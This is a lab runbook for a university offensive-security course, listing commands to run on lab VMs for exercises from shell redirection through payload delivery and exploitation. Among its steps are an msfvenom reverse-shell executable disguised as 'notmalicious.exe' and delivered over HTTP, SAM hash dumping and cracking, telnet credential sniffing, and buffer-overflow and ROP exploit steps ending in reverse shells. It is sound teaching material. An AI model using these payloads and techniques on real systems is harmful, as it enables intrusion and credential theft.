A2-SC
CSS484 A2 — Screenshot Runbook
The exact commands to run and exactly what to screenshot for every exercise. Do the steps, grab each 📸, then write the summary/analysis/reflection in your own words.
How to read this
- Each 📸 = one screenshot to put in your workbook. Label it (e.g. "Ex1-01 redirection").
- Run everything on your own lab VMs only. Replace example IPs with yours: find them with
ip a(Kali) andipconfig(Windows).- Take a clean screenshot: make the terminal font big, include the command and its output in frame, and highlight the key line (box/arrow) before pasting into the workbook.
- Companion detail (why each step works, guided-question answers) is in CSS484-A2-Lab-Companion-Guide.md. This file is just the "do this, shoot that" runbook.
- A good screenshot caption to write yourself: what the command does + what the output proves.
Exercise 1 — File Redirection and Pipes [EASY] · ~4 screenshots
# Step 1 — redirect stdout to a file, then view it
ls -l /usr/sbin > sbin_listing.txt
cat sbin_listing.txt📸 Ex1-01 — the cat output (proves the listing was saved to the file).
# Step 2 — pipe through grep to keep only names containing 'a'
ls /usr/sbin | grep a📸 Ex1-02 — the filtered list.
# Step 3 — guided Q(a): stdout (fd1) vs stderr (fd2) go to different files
ls /nope /usr/sbin > out.txt 2> err.txt
cat out.txt
cat err.txt📸 Ex1-03 — both cat out.txt (real listing) and cat err.txt ("No such file…") visible, showing the streams split.
# Step 4 — guided Q(b): see on screen AND save at the same time
ls -l /usr/sbin | tee tee_demo.txt
cat tee_demo.txt📸 Ex1-04 — tee printing to screen, and cat tee_demo.txt proving it also wrote the file.
You write: what redirection/pipes do, the fd1/fd2 explanation, why tee solves Q(b).
Exercise 2 — Host and Network Configuration [EASY] · ~7 screenshots per VM-pair
Run each on both VMs. Put Kali and Windows side by side or label clearly.
# KALI
ip a # 📸 Ex2-K01 interfaces + MAC (link/ether)
ss -tulnp # 📸 Ex2-K02 listening ports + established connections
ip route # 📸 Ex2-K03 routes
ping -c4 <win-ip> # 📸 Ex2-K04 ping Windows (4 replies)
traceroute <win-ip> # 📸 Ex2-K05 traceroute
ip neigh # 📸 Ex2-K06 ARP table (shows Windows MAC)
nslookup www.siit.tu.ac.th # 📸 Ex2-K07 DNS resolve# WINDOWS
ipconfig /all # 📸 Ex2-W01 interfaces + Physical Address (MAC)
netstat -ano # 📸 Ex2-W02 listening ports + connections
route print # 📸 Ex2-W03 routes
ping <kali-ip> # 📸 Ex2-W04 ping Kali
tracert <kali-ip> # 📸 Ex2-W05 traceroute
arp -a # 📸 Ex2-W06 ARP table (shows Kali MAC)
nslookup www.siit.tu.ac.th # 📸 Ex2-W07 DNS resolveYou write: the Linux↔Windows command equivalents table, whether the two VMs share an L2 segment (evidence: each other's MAC in the ARP table + same subnet).
Exercise 3 — Starting and Verifying Services [EASY] · ~6 screenshots
# SSH
sudo systemctl start ssh
systemctl status ssh # 📸 Ex3-01 (verify 1: active/running)
ss -tlnp | grep :22 # 📸 Ex3-02 (verify 2: listening on 22)
ssh localhost # 📸 Ex3-03 (verify 3: real login/banner) — type 'exit' after
# Web
sudo systemctl start apache2
systemctl status apache2 # 📸 Ex3-04 (verify 1)
ss -tlnp | grep :80 # 📸 Ex3-05 (verify 2)
curl -I http://localhost # 📸 Ex3-06 (verify 3: HTTP response headers)You write: which verification you'd trust most on an untrusted box (the real connect test) and installed vs enabled vs running.
Exercise 4 — Locating Tools and Reading Manuals [EASY] · ~5 screenshots
which nc; whereis nc; type nc # 📸 Ex4-01 three locate methods for nc
whereis wireshark; whereis nikto # 📸 Ex4-02
sudo updatedb; locate whoami.exe # 📸 Ex4-03 Windows binary on disk
man nc # 📸 Ex4-04 highlight the -l (listen) line, then press q
nikto -Help # 📸 Ex4-05 highlight -p (port) optionYou write: which vs whereis vs locate difference; why a tool can be on disk but off PATH, and how to run it by full path.
Exercise 5 — Netcat Listeners and File Transfer [MEDIUM] · ~5 screenshots
Install ncat on Windows (ships with the Nmap Windows installer).
# Direction 1: listener on WINDOWS, connect from KALI
# Windows:
ncat -lvnp 4444 # 📸 Ex5-01 Windows listening
# Kali:
ncat <win-ip> 4444 # 📸 Ex5-02 Kali connected (type a message, see it on Windows)
# Direction 2: listener on KALI, connect from WINDOWS
# Kali:
nc -lvnp 4444 # 📸 Ex5-03 Kali listening + Windows connects
# Windows:
ncat <kali-ip> 4444
# File transfer (Kali -> Windows)
# Kali (send):
nc -lvnp 5555 < secret.txt
# Windows (receive):
ncat <kali-ip> 5555 > secret.txt
# Then prove integrity on both ends:
md5sum secret.txt # Kali 📸 Ex5-04
Get-FileHash secret.txt # Windows 📸 Ex5-05 (hashes match = clean transfer)
You write: the n/v/l/p flags, and why attackers prefer reverse connections (firewall/NAT egress).
Exercise 6 — Telnet + Wireshark (cleartext) [MEDIUM] · ~3 screenshots
# Kali: install + start telnet server
sudo apt update && sudo apt install -y inetutils-telnetd
sudo systemctl restart inetutils-telnetd 2>/dev/null || sudo systemctl restart openbsd-inetd
ss -tlnp | grep :23 # 📸 Ex6-01 telnet listening on 23- Windows: enable client →
dism /online /Enable-Feature /FeatureName:TelnetClient - Kali: open Wireshark, start capture on the lab interface, set filter
telnet. - Windows:
telnet <kali-ip>→ log in.
In Wireshark: right-click a telnet packet → Follow → TCP Stream.
📸 Ex6-02 — the Follow-TCP-Stream window with the password highlighted.
📸 Ex6-03 — the packet list with your telnet filter applied.
You write: that Follow TCP Stream reconstructs the login; two replacements (SSH, TLS-based) and what they fix.
Exercise 7 — tcpdump [MEDIUM] · ~2 screenshots
sudo tcpdump -i eth0 -nn -vv -X 'tcp port 23' # run, then do a telnet login again📸 Ex7-01 — tcpdump output with readable credentials in the ASCII (-X) column.
sudo tcpdump -i eth0 -w telnet.pcap 'tcp port 23' # save for Wireshark📸 Ex7-02 — the capture-to-file command + the .pcap created (ls -l telnet.pcap).
You write: the filter explained part-by-part; a tcpdump-only scenario (headless remote box over SSH).
Exercise 8 — Nmap enumeration [MEDIUM] · ~2 screenshots · LAB ONLY
sudo nmap -sn 192.168.56.0/24 # 📸 Ex8-01 host discovery (live hosts)
sudo nmap -sS -sV -O -sC -p- <target-ip> # 📸 Ex8-02 full port+service+OS scanYou write: each flag's purpose; Kali tools that wrap nmap (Metasploit db_nmap, OpenVAS); what nmap can't tell you; and why lab=OK, coffee-shop=not (authorisation). Do not include any non-lab scan.
Exercise 9 — Scan types & signatures [MEDIUM] · ~4 screenshots
Open Wireshark; capture each scan separately (filter ip.addr == <target>).
nc -zv <target> 1-1000 # TCP connect via netcat 📸 Ex9-01 Wireshark: full handshake + RST
sudo nmap -sT <target> # TCP connect via nmap 📸 Ex9-02 Wireshark: completed handshakes
sudo nmap -sS <target> # SYN / half-open 📸 Ex9-03 Wireshark: SYN→SYN/ACK→RST (no ACK)
sudo nmap -sU <target> # UDP 📸 Ex9-04 Wireshark: UDP + ICMP unreachablesYou write: packet-level SYN vs connect difference (missing ACK = stealthier); why UDP is slow/unreliable.
Exercise 10 — OpenVAS / Greenbone [MEDIUM] · ~3 screenshots
sudo gvm-setup # first time only; note the admin password it prints 📸 Ex10-01
sudo gvm-start # opens https://127.0.0.1:9392In the web UI: create Target (your lab host) → New Task (Full and fast) → run.
📸 Ex10-02 — scan results / vulnerability list with severities.
📸 Ex10-03 — one finding opened (its CVSS score) plus your manual verification of it (e.g. connecting to the service to confirm the version).
You write: scan config + why; the CVSS vs real-risk judgement; why false positives happen.
Exercise 11 — CVE Research [MEDIUM] · ~2–4 screenshots (web)
Use nvd.nist.gov, cve.org, CISA KEV, and vendor advisories.
📸 Ex11-01..03 — the NVD pages for your three chosen recent CVEs (show the CVE ID + CVSS).
📸 Ex11-04 — the NVD/advisory page for CVE-2025-55182.
You write: each CVE in your words + source URLs/dates; the current CVE discovery rate (with source); how you'd use CVE-2025-55182 conceptually in an authorised test; vulnerability vs exploit vs PoC; which sources are authoritative.
Exercise 12 — Payload Generation & Delivery [HARD] · ~5 screenshots · LAB ONLY
# 1 — build the staged reverse-TCP exe
msfvenom -p windows/shell/reverse_tcp -f exe -a x86 --platform windows \
LHOST=<kali-ip> LPORT=4444 -o notmalicious.exe # 📸 Ex12-01 msfvenom output
# 2 — serve it over HTTP
mkdir -p ~/serve && cp notmalicious.exe ~/serve && cd ~/serve
printf '<a href="notmalicious.exe">download</a>' > index.html
python3 -m http.server 80 # 📸 Ex12-02 server running
# 3 — start the handler (new terminal)
msfconsole -q
# in msf:
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST <kali-ip>
set LPORT 4444
run # 📸 Ex12-03 handler listening- On Windows: browse to
http://<kali-ip>/, click the link, run the file.
📸 Ex12-04 — the session opening in Metasploit.
📸 Ex12-05 — you runningwhoami/ipconfiginside the caught shell.
You write: the full command, staged vs stageless, why nc needs the stageless variant, msfvenom formats, and the AV-evasion categories kept theoretical/defensive.
Exercise 13 — Password Cracking [HARD] · ~4 screenshots · LAB ONLY
# wordlist
sudo gunzip -k /usr/share/wordlists/rockyou.txt.gz # 📸 Ex13-01 ls -l rockyou.txt# dump hashes from your Windows VM in an existing Meterpreter session
meterpreter > load kiwi
meterpreter > lsa_dump_sam # (or: hashdump) 📸 Ex13-02 the dumped NT hashes
# crack offline (save hashes to hashes.txt first)
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show --format=NT hashes.txt # 📸 Ex13-03 cracked passwords
# or hashcat:
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 hashes.txt --show # 📸 Ex13-04 recovered credsYou write: what a hash is / why we crack not reverse; dictionary vs rule vs brute-force; salting + slow hashes; offline vs online.
Exercise 14 — Shellcoding [HARD] · ~1–2 screenshots per challenge solved
Per challenge folder (shellcode/1 … 6):
cd shellcode/1
cat README.txt # the task
nasm -f elf32 shellcode.asm -o shellcode.o # after you write shellcode.asm
objdump -d shellcode.o # 📸 Ex14-1a your assembled opcodes
python3 harness.py # (adapt it to send YOUR bytes) 📸 Ex14-1b server returns correct value📸 one "solved" screenshot per challenge you complete (server confirming the right result).
You write: the logic of each shellcode in your words; which was hardest.
Exercise 15 — Stack Overflow (VU Player) [HARD] · ~6 screenshots
Full technical detail is in the companion guide. Screenshot checkpoints:
A*3000poc.m3ucrashes VU Player in Immunity → 📸 Ex15-01 EIP =41414141.!mona pattern_create 3000then crash with the pattern → 📸 Ex15-02 the new EIP value.!mona pattern_offset <EIP>→ 📸 Ex15-03 the offset.A*offset +BBBB→ 📸 Ex15-04 EIP =42424242(control proven).!mona jmp -r esp→ 📸 Ex15-05 your JMP ESP address.nc -lvnp 7777on Kali, openexploit.m3u→ 📸 Ex15-06 reverse shell connected (whoamion Windows via Kali).
You write: how junk→JMP ESP→NOP sled→shellcode chains together; what the msfvenom flags do.
Exercise 16 — DEP-ROP-Mona [HARD] · ~4 screenshots
Builds on Ex 15 with DEP turned on. Checkpoints:
- Turn DEP to OptOut + reboot, re-run Ex15 exploit → 📸 Ex16-01 crash/access-violation
0xC0000005(DEP blocks it). !mona rop -m "BASS.dll, BASSWMA.dll, BASSMIDI.dll" -cpb "\x00\x09\x0a\x0d\x1a"→ 📸 Ex16-02 the ROP chain inrop_chains.txt.- Build
vuplayer-dep.m3ufromsploitgen-Win10-Starter.py(junk + rop_chain + nops + buf + padding). nc -lvnp 7777, open the file → 📸 Ex16-03 reverse shell with DEP enabled; 📸 Ex16-04 the ROP chain code you used.
(The workshop explicitly asks for the ROP-chain screenshot + the reverse shell screenshot.)
You write: how the ROP chain calls VirtualProtect via PUSHAD→JMP[EAX]→JMP ESP; why the non-ASLR BASS DLLs make it reliable.
Exercise 17 — Capstone [CAPSTONE] · screenshot every stage + each flag
No solution — enumeration is graded. Screenshot checkpoints:
sudo nmap -sn <subnet>/24→ 📸 Ex17-01 the forgotten host found.sudo nmap -sS -sV -sC -p- <target>→ 📸 Ex17-02 services/versions (your way in).- Foothold exploit → 📸 Ex17-03 shell +
whoami/id+ 📸 Flag 1 (contents + the command that showed it). - Local enum (
sudo -l, SUIDfind, or winPEAS) → 📸 Ex17-04 the privesc lead. - Escalate → 📸 Ex17-05
id/whoamias root/SYSTEM + 📸 Flags 2 & 3 with the commands that revealed them.
You write: at each stage, what told you the next step; which account you landed as and why not root; the privesc vuln + remediation; your backup path if the first escalation failed.
Quick reference — screenshot naming
Use Ex<N>-<nn> short-label, e.g. Ex2-K04 ping-windows, Ex15-03 pattern-offset. Consistent names make the workbook easy to assemble and easy for the marker to follow.